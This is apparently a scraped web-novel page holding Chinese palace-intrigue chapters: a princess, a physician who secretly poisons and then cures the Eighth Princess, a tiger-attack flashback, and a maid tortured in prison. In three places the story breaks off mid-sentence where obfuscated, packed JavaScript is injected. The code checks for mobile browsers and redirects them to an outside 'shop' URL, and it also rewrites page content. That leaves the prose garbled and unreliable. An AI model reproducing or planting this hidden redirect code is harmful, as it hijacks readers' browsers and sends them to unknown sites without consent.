费萤听这大夫说的,心里更是高兴。不过他没说,只是假惺惺在秦琳这副弱体前做了个样,“丽妃娘娘也因忧心八公主如今还未醒来,太医院可要好好为陛下分忧啊。” 他话虽如此却不见半分真心,秦琳若是能听到非得将人杀了才好。 那女大夫将放凉的汤药带出来,瞧见费萤时不由得愣了几分。 费公子一身墨绿云绣锦袍,头顶玉簪束发,清姿明秀,俊美无挑,也挑眉看向她。 路朝生得小巧玲珑,男人看了多少都会生出怜爱之情。费公子也是看愣了,但眼里不见半分怜惜,反道:“太医院何时收了个小丫头?八公主何等尊贵,你们就不怕陛下问责?” 这群医官互相对了眼神,答:“不瞒公子,我等为公主把脉多次皆是死脉……八公主如今还能留着一口气,也多亏了路医师。” 费萤似乎想对路朝发难的,但这么多医官都向着她,他也不得不作罢。秦朝寻在暖阁里盯梢路朝熬药,今日看诊结束,太医院留了几人当值,路朝则收了东西准备回太医院。 秋棠宫外,秦朝寻坐于马车内,盛情邀请两只脚刚踏出宫的路朝。 “路大夫,去我见春宫坐坐吧。” 她这不是邀请,而是命令。 路朝上了马车,稳重得倒是挺让人意外。 她进太医院有秦朝寻助力,但太医院这里面的路她铺不了,剩下的得全靠她自己。不过秦朝寻没想到这姑娘有如此能力,竟能从阎王手里抢人。 “本宫不喜欢撒谎的人,路大夫只需要答是,或不是。” 她气势逼人,如今上了她的马车,路朝也没有拒绝的办法。 她颔首,只听着秦朝寻缓缓问:“秦琳中毒,可是路大夫的手笔?” 12. 第12章 马车内静了半刻,秦朝寻那双眼睛盯着她,像是早已洞悉一切。 她似乎知道答案,却偏要亲自问一问。 路朝的眼睛很灵动,也是因为太清澈,注定是瞒不住自己的那些小心思的。一开始秦朝寻便觉得她的精明就与之不符,她若是想得到什么,若没人助力也很难。 抓住秦朝寻作为助力无非是她最好的一个选择。 可她似乎不怎么相信秦朝寻,一开始答应好好回答,这会儿却是保持了沉默。 秦朝寻猜想,如果路朝是给秦琳下药的人,那么她和丽妃绝不会达成合作。 “我知道路大夫能力不错,但是你若想医途顺利,身后必须得有倚仗才好。这宫里能给予你这些的、你能相信的只有我。” 秦朝寻能给的不算诱人,但她如今封了“邵阳公主”,在宫里的地位不小,再说,她还有一支羽卫,将来的太子或许都会稍逊一筹。 马车内又寂静一刻。 路朝眼睫轻颤,已然知道自己该如何做择。她平静的笑着看向秦朝寻,问:“殿下要我做什么?” “我的人被你这一番折腾成了替罪羊,本宫不与你计较这个,你告诉我事情缘由,还有秦琳的毒能否根治?” “我只是推波助澜,这毒是八公主自己给自己下的。”路朝没必要撒谎,她看着正襟危坐的公主,眼里笑意更深了,“那婢女的茶没有问题,毒是公主提前服下的,选在您生辰那日应该本就想嫁祸于您的。晚些熬药的时候我看出来了,索性在药里加了一味药材,毒性相克能让她体验一下半死的感觉。” 她没从秦朝寻眼里看到半分憎恶,面前的人就是那么面无表情坐着,就当她说的只是寻常琐事。路朝一想这宫里死个人确实不怎么奇怪,不由得苦笑。 “殿下想知道的我都说了。” 秦琳与她那个皇兄比起来就没那么会算计,丽妃在宫里向来也是不争不抢的,秦朝寻不太理解她们这么做的用意。 难道是秦硕吗? 她垂下眼睑,有些疲倦,“我已知晓,路大夫只需要帮秦琳解毒,后面的事情本宫来处理。” 马车绕路到了太医院,路朝下了马车还是百思不得其解。她眼中有些迷茫,盯着被吹起的窗帘,问:“八公主想颠倒黑白陷害殿下,难道殿下心里就没有一丝恨意吗?” “他们会为自己的错付出代价,时间不多了,路大夫,我的婢女能否活着回来就靠你了。” 慎刑司离将军府不远,秦惟策马从教场回府也是与秦硕见过一面。秦硕不是那种花花公子,即便是盛京他也未正真逛过几回,来慎刑司更是奇怪。 秦惟身后策马的少年眯了眯眼看着跟在秦硕后面被戴上锁拷的绿裙姑娘,问他:“公子,你看那个像不像邵阳殿下身边的侍女?” 别人的事他不关心,但一旦涉及到秦朝寻,秦惟就会发了疯的去查。这不,他前脚回了将军府,后脚探子就把消息带到了。 “公子,是宫里出了些事。昨日八公主中毒倒下,太医诊脉时也说没多大问题,可谁知丽妃娘娘刚喂了药,就发现八公主没了气,昨天晚上就疯了晕过去了。” 说话的少年与秦惟年纪相仿,一身雪清绸缎武袍,腰间悬长剑,身姿颀长,乍一看还有几分桀骜不驯。 秦惟昨日出宫早,但也听说了秦琳中毒的事情。不过太医诊脉都说无碍了,好端端的怎么就会没了气呢? “你这消息可准确?” “千真万确啊,八公主的侍女咬死是邵阳殿下的侍女在茶里下毒,六皇子今日一早就带着兵去见春宫抓人了。公子也知道,八公主和邵阳殿下之前就有什么过节的,现在宫里就有传言说是邵阳殿下指使侍女下毒,不过我也不知道他们那群人怎么想的,陛下偏爱邵阳殿下不是很明显了吗?怎么还会有人觉得邵阳殿下要做这种事情独揽陛下的宠爱?” 秦惟眼里闪过寒光,有些心不在焉,“我阿姐不是那样的人。让宫里的探子继续监视丽妃的动向,应如是,你随我去慎刑司。” 应如是摸了摸自己腰上的佩剑,愣愣问:“啊?公子想我去和六皇子打一架吗?” “……”秦惟扣紧护腕,横了他一眼,“给你个机会。” 慎刑司的牢房寒气重,正是入夏时节,穿的衣裳薄,刚进来都会觉得森冷。 小春被扣在提审架上,方才用刑太重,这姑娘人都晕了过去,还是什么都不肯招认。用刑的狱卒不敢再动手,哈着腰颤颤问:“殿下,动这私刑毕竟是违了令的,出了人命可就不好交代了。” 旁边的人一身绯红官袍,一身杀气。也是听了这狱卒想要临阵脱逃的话,那猩红充血的眼睛立刻转向了他。牢房内静悄悄的,也许是太静,连烛火跳动都能听清楚一二。火光打在秦硕面上,将他衬得更加骇人了。 “交代?那八公主的死又能有谁与本王交代?” 鞭刑用在女子身上极少有人抗得下去的,秦硕不认为秦朝寻身边会有省油的灯,她这个婢子跟了她六年从未离过几次身,他猜她知道秦朝寻不少秘密。 他起身将那杯凉茶泼到小春脸上,架子上的姑娘缓缓转醒,眼神竟也凌厉起来。 “呵,六皇子运筹帷幄,竟然连自己身边的人都摸不透吗?” “大胆贱奴!岂敢无礼!”狱卒一鞭子抽上去,小春闷哼一声,那张脸上的神情竟然和秦朝寻都有几分肖似。 秦硕抬手让狱卒退后,他眼神如鹰一般森冷锐利,冷不丁启口:“本王耐心有限,只问你最后一次。八公主中毒可与秦朝寻有关?” “公主若是想杀八公主,早在三年前,六皇子看见的就该是八公主的尸体了!” 牢狱外,玄衣少年顿住脚步没再往前。 秦硕眼中明显迟疑了,那犀利的目光收回,淡淡开口:“你说琳儿那次坠崖不是秦朝寻所为?” 女子牙间瘆血,笑得活像乱葬岗里的恶鬼。 “我家殿下做事光明磊落,你们将莫须有的罪名冠到她头上的时候怎么就不贯彻你们的公允了?六皇子还记得三年前那红树林里的场景吗?不记得的话……我帮您回忆一下?” “三年前,七殿下的骑射在京城没有哪个女子可匹敌,那日八公主登门造访要在赛马上较个高下。六皇子当时看到的也不过是有心之人刻意营造的、只给你看的假象罢了!” 三年前,京郊红树林。 彼时天清气爽,秦琳邀着秦朝寻出宫较量。随行的人不多,侍卫被严令禁止进入红树林打扰。 秦朝寻觉得秦琳这做法并不安全,也劝她留几人一起进红树林,也好防止意外。但秦琳并不听劝,反而怀疑秦朝寻。 “姐姐和十二弟再骑射上都是天纵奇才,想来这意外也没那么容易发生的吧?莫不是姐姐这天才之名是冒名顶替?” “八妹,说话之前要记得三思而后行。” 秦琳并不听她的告诫,翻上马背,目中无人道:“是不是冒名顶替比试一番也就知道了。这红树林姐姐没来过,我就把目标稍微降低一些。这红树林只有西面和南面两个口子,我们方才来的是南入口,里面也有不少野兽什么的,它们喜欢冲出来吓人,不过我们不猎野兽,就绕过他们的追捕到出口就行。” 她说的这些不难,那些野兽只要没有惊扰他们的休息或者对他们产生威胁,一般情况下也不会主动攻击人。 “殿下,这是弓。” 两名婢子分别递上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011823|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓箭,秦朝寻拿上弓箭也利落的翻身上马。 她们几乎是一同出发,小春有些担心,听得秦琳的侍女说:“我们也走吧,去出口等殿下就是了。” “……真的不派些侍卫跟上去?” “担心什么?你们家殿下不是骑射造诣媲美女将吗?不过是赛马而已,还需那么娇贵呢。” 这婢女的口气不小,和秦琳像极了。 进入红树林的秦朝寻很快就看不到秦琳了。她对这里不熟悉,中间多多少少还有些岔路,她这几段也都是凭着感觉来的。 越至深处树林的庇荫越大,这里静悄悄的,秦朝寻勒马轻轻行动,除了这马蹄踏地的声音,还伴随着某种野兽的低吟。 这个野兽似乎跟了她一路。 秦朝寻抽箭拉弓,寻找四周的怪异点。 “吱。” 草丛里一只棕黄的大尾巴家伙冒出来,它看到秦朝寻手里拿可怕的东西一溜烟就跑得没影了。 野兽的低吟声越来越近,秦朝寻被那只松鼠搅得分心了一会儿,或许是后背没什么安全感,她猛地回身不带犹豫射出了一箭。 箭入草丛没有任何反应,秦朝寻被好奇促使慢慢靠近草丛,就在她即将剥开草丛的霎那间,那虎从身后横冲过来,险些惊了马。 秦朝寻策马在林子里边寻路,那虎也丝毫没有要放弃追赶的念头。被缠上是件要命的事,她对这里不熟悉,眼看着天也要黑了,若是再追逐下去,其他更危险的家伙被惊动了将会更加棘手。 她勒马停下,那老虎也没那么笨,看到秦朝寻停下,它也在不远处打转。 “蠢东西。”秦朝寻身上的箭不多,她只有六次机会射中野兽的命门。 一箭射出去,老虎慢了一步被刺到了前爪。它长长咆哮,很是愤怒。它那个眸子恶狠狠盯着秦朝寻,毫不顾忌扑了过来。 这家伙敏捷得不逊于人,秦朝寻两只脚若是在地上跑,可能早就被它分着只剩下骨头了。 秦朝寻无法边驱马边放箭,只是在躲开野兽猛扑的第一时间里迅速瞄准放箭。她的箭法的确是京城里无二的,只不过四箭,她射瞎了老虎一只眼睛、瘸了一条前腿。 她完全惹怒了这只猛兽,即使瞎了一只眼睛,这家伙还是能凭着气味寻过来。秦朝寻的手心冒着汗,手里的弓箭都拿着不怎么顺手了。 “吼——” 这头巨兽带着同归于尽的想法惊了秦朝寻的马。 秦朝寻被马反摔,紧要关头她抽下几支箭。可惜她没能驾好箭,那只巨兽扑上来,仿如捉住了鲜甜美味的食物。 野兽的爪子很锋利,正如书中所言,野兽会用爪子磨破猎物的脊梁,等他们不再挣扎就会用锋利的牙开始撕咬,品尝新鲜热血的肉。 对这些畜牲们而言,血恰似使他们兴奋的毒药。 不过它似乎并不打算让秦朝寻死的太轻松,于是它一口下去准备活生生的吃掉她。 “啊——” 林子里的鸟被她这一声都惊飞。秦朝寻神情恍惚,拿着弓和箭的手无意识往那老虎的胸膛上扎过去。 “滋啦。” 猩红的兽血与她的血混迹在一块,她忍着痛继续奋力将箭矢扎的更深。等这巨兽没了意识,秦朝寻翻身,她不解恨,手中的箭矢很顺手,她拔出又扎下,血溅红了她半张脸。 “哈,哈哈……”她这个模样太骇人,又如失心疯。 染了血的半边脸忽有一行清泪滑下,天黑蒙蒙的下起了淅淅沥沥的小雨。秦朝寻拖着这副残躯继续往所谓的“出口”而去。 “一损俱损……一荣……俱荣……” 她吐出一口恶血,“呵,那今日,谁都休想出这红树林。” 13. 第13章 “咯。” 秦琳倒在马背上,她发了狠将几乎扎进脊骨的箭拔除。 她太小瞧秦朝寻了,没想到有着重重草垛遮挡,她也几乎能找准自己的命门射中。 她知道是自己故意引来的凶兽吗?她射出那一箭的时候,是不是真的准备杀了她? 细想之后她更是觉得这片林子森冷,何况天已黑,那些畜牲们对血格外的敏感,她必须赶紧逃离这里。 西出口的小春眼看着这天由白日转黑夜,这里负责看守的侍卫一个个都惰懒得很,甚至是秦琳的贴身侍女都没有主动担忧起主子的安危来。 小春两手交握在一起摩挲,甚至眼里都是满满的担忧,“这都过去两个时辰了,殿下驾着马怎么会还没到?” 明心横了她一眼,仍是一副轻蔑之色。她红唇轻启,像是在哄骗她:“你要是担心你家主子,怎么不自己去寻她?都说了这林子岔路多,走错了再折返也是要时间的。” 这婢女实在惹人厌烦,小春也是二话不说就往林子里去。 看着她身影渐渐隐入黑夜里,身后的一名侍卫也汇报道:“六皇子已经接到消息,再过一会儿就能到了。” “……很好,殿下的计划很快就能完成了。” 她勾唇笑着,手里举着的灯笼只打亮了她的下半张脸,以至那张红唇在这就显得较为阴森了。 窸窸窣窣的声音不断,秦琳不敢太用力策马,脊骨似乎断裂,她伏在马上大气也不敢出。 “驾,驾!” 这策马声由远及近,秦琳如今对危险的警觉度很高。 对她来说,她觉得这声音的主人要比潜伏的野兽更可怕。 人濒临死亡的时候感觉到害怕是本能,她亲眼看见了秦朝寻如何被那畜牲撕下一块肉,也见证了秦朝寻反客为主杀虎的整个过程。 那不是人能做出来的,她一个女子,怎么可能斗得过一只虎的? 宫里的那个秦朝寻一直都板着那副令她作呕的假笑,她知道自己无法与有柳氏支撑的自己相斗,所以她对皇兄、对自己和丽妃都是恭恭敬敬的。 “对,她杀过人的……宫里传她杀过人……” 马蹄声停了下来,一股腥味充斥着鼻腔让人喘不上气。 这不是她身上的味道。 “……八妹怎么如此狼狈?”秦朝寻就在她身侧,那身沾满血渍的外衫已经被她脱下,但身上的腥味没有随之减去,“天黑了,我还以为你已经出去了。” 秦琳没受过这样的伤,意识都有些模糊。她听不懂秦朝寻在说什么,手里的马鞭猛地一甩,惊动了两匹马朝前跑去。 秦朝寻猝不及防,左肩被那头畜牲生生撕下一块肉,这马被惊动得太突然,她甚至不觉得自己有能力控制住。 比起胜负心还在作祟的秦琳,她竟然更像一个正常人了。她看着前面那匹马上的秦琳,大喊:“秦琳,你疯了?” “赢的人只能是我!一只上不了台面的野凤凰,你凭什么与我相比!” 马越跑越快,四周黑漆漆一片,没有任何东西照明,唯一的光是那天上的悬月。 往前,秦朝寻看到了山下的万家烟火,灯火通明,照亮了半边天。 “秦琳!停下!” 秦朝寻甩出手里的马鞭勒住秦琳的马,但现在的秦琳早已用尽了自己全身的力气,马被勒住高抬前蹄的那一瞬,秦琳顺势滚下马背。她晕了过去,殊不知她离万丈悬崖只有一步之遥。 她的马更犟,由于她的鞭子将它捆得很紧,连带着秦朝寻都被马用蛮力拉下地。 小春赶至,惊吼道:“殿下!” “救秦琳!” 秦朝寻右肩都有了脱臼的迹象,左肩撕下的那大块肉暴露在空气中疼痛无比。两匹马都不怎么安分,只听“崩”的一声,手里的缰绳断开,被控制的马儿挣脱束缚,竟然也红了眼朝着秦朝寻身上踩。 伴随的是撕心裂肺的一声尖叫,“啊——” 小春冲上去,那两匹马踏过秦朝寻,带着秦琳一同滚下了悬崖。 秦硕赶到的时候看到的就是两马奔腾,带着秦琳消失在崖口。 官兵搜查了一整夜才找到了奄奄一息的八公主,丽妃请了宫里最好的大夫用药救回了秦琳一条命。还在昏迷的秦琳发了疯的叫着秦朝寻的名字,扬言就是秦朝寻要杀她。 加上秦硕也见证了秦琳落崖的那一幕,他更加深信不疑,也认为就是秦朝寻妒恨秦琳才下了此杀手。 此事告到了陛下那里,秦朝寻面对丽妃的一番诘责没作任何回应。 两个都是秦燔的女儿,他对秦朝寻太偏爱、也纵容她,所以才会酿成如此大祸。可是他没有对秦朝寻有太重的处罚,依旧是禁了她的足。 那年本该是秦朝寻办及笄礼的一年。 牢狱里的灯火照亮了姑娘苍白的脸,也是这点火光带来的温暖,她的脸上渐渐有了血色,添了几分活人感。 “我们殿下为了救八公主,自己一条腿被马蹄几乎踢断!她瞒着陛下、瞒着所有人,她再也不能陪着十二皇子去教场赛马。殿下请看的是宫外不知名的医士,现在都还留着旧伤,远不如八公主这么跳脱、经得起折腾。” 狱牢外的少年攥紧拳头摔门而入。 秦硕侧过身看着他,眼里的情绪都让人瞧不清楚了。 秦惟极力克制自己,他眼眸森然,清亮的嗓音里带着怒气,“六皇子已经听到了自己想要知道的,这笔账,不论如何我都会找你一一清算。” “……”秦硕看着他,并未答话。 “应如是!” “在。” “将人先带回去,找医士看看。” 应如是一上前,那狱卒也跟着吓破了胆,手里的刑具都没能握住掉了下来。应如是瞥他一眼,低声骂:“混账东西。” 小春被应如是背着离开,那狱卒知道十二皇子不适合好应付的主,就想着跟在应如是后面一起跑了。 但秦惟可不会这么轻易放过他,在他正假装若无其事往外跑的时候,这人低沉的声音普通紧箍咒一般传来:“滥用私刑,自己去领罚,不要让我说第二遍。” 狱卒身子都僵直了,他不敢反抗,只能努力点着那个脑袋,一溜烟跟上应如是跑了出去。 火光仍在跳跃,秦硕埋下脸,不知是哭是笑。 他自以为能盘算好一切,将所有人的命运玩弄于自己的掌心,却没料到自己成了一颗棋子。 可那是他的亲妹妹啊,她为什么要这么做呢? “秦硕,你们欠我阿姐的,我会让你们一一偿还。” 他艰难抬起头,少年独有的锐气尽数收敛。 “凭我对琳儿的了解,她一人绝不敢做出这种事。” “她做不出,那柳氏呢?”秦惟丝毫不忌讳,直愣愣问他,“东宫之主落定前,他们总会使各种畔子。我阿姐有着陛下亲赐的羽卫,如今又赐了封号,将来的太子都不一定能与她平起平坐。六皇子自己思量思量,我说的可有不对?” 秦硕正眼看着秦惟,他这个皇弟是出了名的护着秦朝寻。曾经他与秦朝寻周旋极少注意到他,没想也和秦朝寻一般难办。 “此事,”秦硕别开眼,墨色瞳孔里满是疏冷,“我重新彻查此事,若真有冤枉,我亲自上门赔罪。” 秦惟不再与他纠缠,一脚踏出牢房,又听着秦硕问。 “琳儿能醒过来吗?” “难道不应该去问下毒的人吗?” ……毒药,是丽妃亲自送到秦琳手里的。 除了秋棠宫,丽妃的宫里也是忙得一团糟。 自从那日晕倒后,丽妃娘娘就一直没转醒,整夜里都在说些呓语,贴身的侍女一个夜里都要替她擦十来次汗。 这几日,八公主驸马时常入宫,只可惜八公主看不到这喜欢的人儿整日围着自己转了。 太医院外,马车缓缓停下走出来一位可人儿的公子。 今日是他鲜少着官服的日子,穿着绛红织金锦袍,手腕上是紫檀串珠,抛银锭时笑得轻佻,与那日秋棠宫见到的几乎判若两人。 “在外等我。” 留下一句话,主子扬袖进了太医院的门。 这几日的太医院是宫里最清冷的地方,几乎所有的太医都被调去了秋棠宫。此时的太医院只有那炮药的后厨发出一点儿动静,费萤握着银子走过去。 后厨里,小姑娘还是穿着那条初见时的绿裙子。这后厨里并不怎么干净,甚至杂乱无章。又是一声炮轰,那药罐子被炸开,连带着药渣炸往四处,小姑娘白花花的脸也跟着黑了起来。 她并未对费萤的到来感到稀奇,甚至脸上表情也有了赶客的意思。 这位费大人连着几日都到太医院来了,却不是为了看病。 如今整个宫里都靠着这横空出世的路朝医师吊着秦琳一条命,有人希望秦琳活过来,也有人希望她一直这么睡着……又或者不痛不苦的死去。 显然,路朝认为他是那后者。 这是费萤第一次在太医院找到路朝。他含笑走进后厨,却被人呵斥道:“出去!” 费萤看着路朝弯腰捡着地上的瓷片,只是一味地觉得她在惺惺作态,“一个破窑子,炸了也就罢了,太医院也不缺。路大夫整日将自己关在这后厨里炮制解药,又是何苦呢?” 路朝不语。 她下在秦琳那药里的毒并非寻常毒药,此毒无色无味,服下后整个人会没了生息,成为活死人。路朝制毒并没有配制解药的习惯,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他没有想纠缠的意思,手轻轻从灶台上挪开,路朝又喝道:“把你的银子也一起拿走,不送。” 费萤自恃样貌与皇子们也有一拼的本事,京城里的姑娘嫉妒秦琳有这样一个样貌才华出众的驸马那可是嫉妒得紧。若不是八公主常盯着外面这群贵女,上赶着递帕子的也不会少。 不过费家公子对八公主不感兴趣也是人尽皆知得事情,这么多年也未有人探清楚费萤心里是否有着别人。 他离开后不久,路朝便带着那瓷碗里的药渣步行前往秋棠宫。 已近黄昏,秋棠宫里还是静悄悄的。丽妃娘娘转醒不久就来看望秦琳,听说人家还有着一口气,又是喜极而泣。 嬷嬷恭恭敬敬将路朝请进暖阁,床榻边坐着一个穿着华贵纱裙的女人,她脸上化着精致的妆容,但她的脸上没什么血色,与床榻上那人的脸色如出一辙。 “娘娘,路大夫来了。” “路大夫”三个字在丽妃心里便是唯一的救命稻草。她醒来后从下人嘴里得知了不少事,包括太医院也有人称赞这横空出世的小神医。 她醒了神,想要起身去迎接,可这腿曲着太久,一时间有些发软。她有些无奈笑着,说道:“路大夫见谅,我这腿有些不便。” 路朝未看她,走至一边打开了自己的药箱子,“娘娘出去吧。” 丽妃一愣,嬷嬷立刻解释道:“娘娘,路大夫施针的时候都要静心,老奴扶您出去吧?” 嬷嬷的话她定然不会怎么怀疑,她看了一眼路朝有模有样的擦着银针,也就没再质疑。 最近几日不怎么热,暖阁倒是因为熏着药的缘故不得不让人特意带着帕子擦汗。但路朝穿着与他们不同,她衣服料子很厚,嬷嬷进来头上冒起了汗珠,路朝却是感觉不到任何闷热。 她手心是凉的,银针扎进穴位的时候,秦琳都能感觉到仿佛有块寒冰穿透骨髓蔓延全身。 行针完毕,路朝拿出那药渣,银针刺破指头将血化在药渣里,再以温水泡开而后喂进了秦琳口中。待收拾完,暖阁的门打开那一瞬,她又看到丽妃满怀希冀望着她。 “大夫,我的琳儿怎么样了?” “过几个时辰待毒性化解即可,这几日还需慢慢调养,娘娘可让人随我去拿着温养滋补的药。” “那就好那就好,嬷嬷,和路大夫去太医院吧。” 回去路上好巧不巧又遇到了费家的马车,费萤拉下帘子只看了那嬷嬷你一眼。嬷嬷笑着,那也就是说秦琳已经救回来了。 “这回八公主应当是没有大碍了吧?公子,你怎么了?”家仆看出他有心事,自然是想帮他分担一二,“这位路大夫可真有本事啊。” “确实有些本事。”费萤杵着手思考,清澈的眼眸渐渐变得混浊。 例如,为何她知道自己是费二公子? 14. 第14章 秦琳醒后好几日几乎没有见过费萤,常出入秋棠宫的人也成了医师路朝。不过今日不知是怎么回事,秦琳本想着去御花园看看,才刚出这宫门就看见了费萤,于是让嬷嬷将人请了进来。 费萤手里提着不少补品,秦琳一看便知不是巧合。 阴凉的别院内只留了明心一名侍女跟着。秦琳看着费萤手上的东西已经被下人拿下去,却还是笑了一声。 “原来翰林学士也会偷偷摸摸的,恐怕不是自愿,而是费伯以死相逼不得不来吧?”秦琳对费萤很是了解,也为了他回去好给费老爷交差,也没有为难他,“本宫听嬷嬷说了,我中毒这几日你也是我秋棠宫的常客。” 费萤并未给她好脸色,沉声道:“殿下身子未好就多在公主府里养着,翰林院还有不少事,在下告辞。” 少年退一步转身,秦琳端着药茶,直勾勾盯着他的背影喝道:“站住!” 秦琳一直知道费萤对自己没多少感情,他的无礼她也总是惯着的,但今日她却不想再纵容。明心偷偷看了一眼自家殿下,每每她的气上心头没多久便会后悔自己吼了费公子,可今天她的脸上再看不到半分留情。 她家殿下是真的生气了。 “费萤!你的心里还想着秦朝露吗?” 少年的身子在听到这个名字的时候有了明显的一怔的动作,秦琳全都看在了眼里。或许是觉得可怜,她控制不住表情僵硬笑着,“费萤,从我们之间有了婚约开始我就无止境地纵容你,我待你好,他们才畏惧我不会为难费家的生意,你能成功爬上翰林院学士,你知道这些都是倚仗我。” 她看不到费萤的表情,明心已看见费萤握紧了拳头,若是再激怒他谁都不知道这平日温良的翰林学士会做出什么来的。 秦琳清楚费萤的性子,他为了顾全大局不会与自己彻底撕破脸,而且现在的费家早就已经离不开柳家的庇护了。 “费萤,本宫给你最后一次机会,跪下,我便原谅你今日的无礼,且不为难你费家。” 这是一个服软便能解决的麻烦,可男儿自古膝下有黄金,费萤表面是几乎与世无争的温良模样,但也是一等一的倔强。甚至明心也不知道丽妃娘娘怎会帮八公主牵了这么一桩婚事。 费萤头也不回,慢慢踏出几步。 秦琳眼睛气到充血,不断往费萤的心上戳刀子,“秦朝露都死了十年了!你不是亲眼看着她被烧死的吗!” “我奉劝八公主手不要伸太长,不然我也不敢保证你次次都能遇到妙手回春的医师。” 路朝在院子入口一直等着,费萤出来时还有意无意瞥了她一眼。 那眼神也没比秦琳好到哪去。 嬷嬷给她示意了一下,她立刻反应过来抱着药箱跑进去。 秋棠宫安静了几日,秦朝寻的见春宫就接连迎来了客人。 先是二皇子过来补了一份生辰礼,后面就是秦惟把小春送了回来。 侍女们上去扶着小春,尽管小春极力装作若无其事,秦朝寻还是看出了一些破绽。她上去拉下小春的袖子,上面留着不少鞭痕,她当即问:“秦硕逼你顶罪?他怎么敢动私刑?本宫非扒了那阉人的皮不可。” “殿下,奴婢无事,十二皇子已请人替我看过了。” 她眸色一沉,其他人跟着小春默声退出了别院。秦朝寻的见春宫其实没多少有趣且风雅的花树,她拿起花洒慢慢走到檐下的几盆盆栽旁慢悠悠浇着水。 她和秦惟近来没有说过几句,前些日子从陛下口中得知了秦惟的身世,她觉得自己这一路算计都是白费了功夫。但今日看到秦惟她又觉得幸好他不是父王的孩子,即便将来那些人为了太子之位掀起一场腥风血雨也也不至于波及他。 “秦硕是个不达目的誓不罢休的主,就算找不到凶手,秦琳也会把这罪名扣到我的人身上的。阿惟……是如何救下小春的呢?”她垂头看着兰花,眉眼一片冰凉。 秦惟习惯了她生性多疑,自己也没有隐瞒的必要,沉声答:“小春都说出来了,三年前阿姐与秦琳的那件事……” 他哽咽一下,接着说:“我都知道了。” 浇花的动作一滞,那兰花一下被淋多了水,整个花都往了一边躲去。秦朝寻提正水壶,抚了抚还未开的花苞,“一件陈年旧事,她怎么就说出来了。” “阿姐,那个时候……一定很疼吧。” 红树林景致确实不错,特别是入秋之后也足够凉快。很久很久以前秦朝寻也想过能约着秦惟一起去赛马捕猎,但这个想法在那次以后就不再有了。 秦朝寻自觉在宫里活了六年也没真正怕过什么,都过去了三年,她觉得那痛早该被遗忘了才是。 秦朝寻的手掩在袖下发着抖,肩上被撕下一块肉的痛感好像又被传来,她身子感觉酥麻大气都不敢穿,以致憋红了眼眶。她不愿被人看到这懦弱的一面,特别是在秦惟面前。 她索性别开脸,两手握紧水壶试图转移注意力。 “阿惟,我没事。” 她总是这么轻飘飘回应自己的痛,秦惟当然知道她在克制自己,也知道自己阿姐的手段。 秦惟没打算继续戳她的痛处,眼睛也别开看了别处,“我的人查到了丽妃昨日与荣国公府送了一封密函过去,荣国公没有儿子,膝下的几个女儿都成了他拉拢权贵的棋子。有意思的是,他其中一个女婿是康郡王。” 秦朝寻指甲深陷进掌心,用痛感身来抵消身上的酥麻,她脸上的神情瞬变,有些不确定问,“康郡王,秦策?” 康郡王秦策是当今圣上的侄儿,此人桀骜不羁也没什么远大抱负,唯一的兴趣就是在快活楼里寻些快活。秦朝寻曾在宫外被此人拦下调侃过,以秦朝寻的性子那肯定是当场就报了仇,也因此她与这个表兄都不怎么待见对方。 “荣国公拉拢他,难不成是觉得秦策是个好拿捏的主吗?” 秦惟继续说:“康郡王要给小郡主办洗三礼,明日康郡王府或许会很热闹。” “……我知道了。”秦朝寻走过去放下水壶,轻轻叹了一声。 “还有一件事,是阿姐吩咐我的属下去查的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040903|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦惟深吸一口气,缓缓道,“春风茶馆里的那两位,其中一人是南都国的世子,陆淮。” 南都国与北离现在是难得有这么平静的几年,秦朝寻入宫那年,学堂里还能看到不少南都国来的世子,陆淮也在其中。不过时间不凑巧,她因为斗殴一事被陛下禁足,学堂里满是她不学无术、欺负同堂的故事。 她的名声在南都国可能也不怎么好。 “南都国世子偷偷来了北离,若是让其他人知道了,他可不一定能活着回去。”秦朝寻拿起剪子将其他盆栽的修剪一番,也在慢慢想着对策,“你多派人盯着吧,可别让人利用了。” “哦对了,荣国公的另外几个女婿都是什么人?” 她既然问了,秦惟自然毫无保留告诉她,“三小姐荣秋是前康郡王妃,出京时被人劫杀,荣国公为了稳定康郡王后面把大小姐荣檀嫁了过去。二小姐荣梨嫁的是程府的程霁,如今太医院院使。至于这个四小姐,她十多年前就没了消息,听说荣国公府庶女处处被压一头,后宅死个人被说人牙子拐了也是常事。” “太医院院使……”秦朝寻也是想到了路朝,她对秦琳下毒她也一直没能找出个缘由来,如果她是想借自己的力把程霁拉下来,那也许秦朝寻会很乐意帮这个忙的。 但程霁坐上院使确实是有几分实力的,他这仕途前期并不顺利,但荣国公可没那个手段能把人安排进太医院。 她展眉,笑道:“看来又是柳氏的手笔啊。” “秦硕似乎并不知道这是秦琳和丽妃做的戏,阿姐,我看他也不是装的。” “秦硕比我想象的要更疼惜秦琳,丽妃瞒着他恐怕也是为了将来事情败露能让他好置身事外。这次也苦了小春了,让秦硕提早知道了内情,如今秦硕入了局,那就难出去了。” 